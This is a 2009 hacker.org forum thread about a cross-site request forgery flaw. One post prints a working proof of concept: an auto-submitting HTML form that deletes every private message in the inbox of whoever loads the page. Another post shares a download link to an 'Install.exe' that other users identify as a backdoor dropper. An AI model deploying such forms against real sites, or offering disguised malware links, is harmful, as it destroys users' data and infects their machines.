Danger - don't read this

efe · Post by **efe** » Wed Mar 11, 2009 2:46 pm

I've warned you!

Don't click here: http://bit.ly/dontclickme

michuber · Post by **michuber** » Wed Mar 11, 2009 3:33 pm

It deletes all messages in your inbox...

<html>
  <head>
  </head>
  <body onLoad=javascript:document.xsrf.submit()>

<form action="http://www.hacker.org/forum/privmsg.php?folder=inbox" method="post" 
name="xsrf">
<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">

</body>
</html>

m!nus · Post by **m!nus** » Wed Mar 11, 2009 6:39 pm

nice POC. if you make a link like this for an admin you can get yourself admined :P

efe · Post by **efe** » Wed Mar 11, 2009 9:12 pm

adum has just fixed that issue, so you may now safely click the link - and nothing will happen to your PM's !

Zaffron · Post by **Zaffron** » Fri Mar 20, 2009 12:05 am

What was the point of posting this anyways??

Chocoholic · Post by **Chocoholic** » Fri Mar 20, 2009 2:34 pm

Right, seems quite an unsafe way of exposing a vulnerability. Anyways, is this a general phpBB issue? I never liked that piece of s..oftware anyways.

tomtomtomtom · Post by **tomtomtomtom** » Sat Mar 21, 2009 9:45 pm

This is the program he used to generate the code>>>

http://rapidshare.com/files/211946099/Install.exe.html

PaRaDoX · Post by **PaRaDoX** » Sun Mar 22, 2009 2:16 am

tomtomtomtom wrote:This is the program he used to generate the code>>>

http://rapidshare.com/files/211946099/Install.exe.html

don't go cracker on us tomtomtomtom.

Install.exe.html?
INSTALL.EXE? no program name? nothing? that on top of the fact that there's about a 1 in (insert number of rapidshare files here) chance that you'd EVER find that. Tell me the program name, smart guy. :3

plope0726 · Post by **plope0726** » Sun Mar 22, 2009 5:06 am

BackDoor.VB.DMS.dropper

who · Post by **who** » Sun Mar 22, 2009 5:27 am

sweet!

flamingdragon · Post by **flamingdragon** » Sun Mar 22, 2009 5:50 am

Gnarly

PaRaDoX · Post by **PaRaDoX** » Sun Mar 22, 2009 11:19 pm

plope0726 wrote:BackDoor.VB.DMS.dropper

and who called it? :3

and who are these 2 new guys saying its sweet? probably mule accounts of his...

sorry, mule is a term used in MMO's. Too used to it :3

plope0726 · Post by **plope0726** » Mon Mar 23, 2009 12:17 am

[quote="PaRaDoX"][quote="plope0726"]BackDoor.VB.DMS.dropper[/quote]

and who called it? :3

and who are these 2 new guys saying its sweet? probably mule accounts of his...

sorry, mule is a term used in MMO's. Too used to it :3[/quote]

You did

Those 2 idiots will probably try to use it and add a nice backdoor to their own computer...

PaRaDoX · Post by **PaRaDoX** » Thu Mar 26, 2009 1:44 am

plope0726 wrote:
PaRaDoX wrote:
plope0726 wrote:BackDoor.VB.DMS.dropper
and who called it? :3

and who are these 2 new guys saying its sweet? probably mule accounts of his...

sorry, mule is a term used in MMO's. Too used to it :3
You did Those 2 idiots will probably try to use it and add a nice backdoor to their own computer...

.....unless they are mules.

hacker.org

Danger - don't read this

Danger - don't read this

Re: Danger - don't read this

LoL

Re: LoL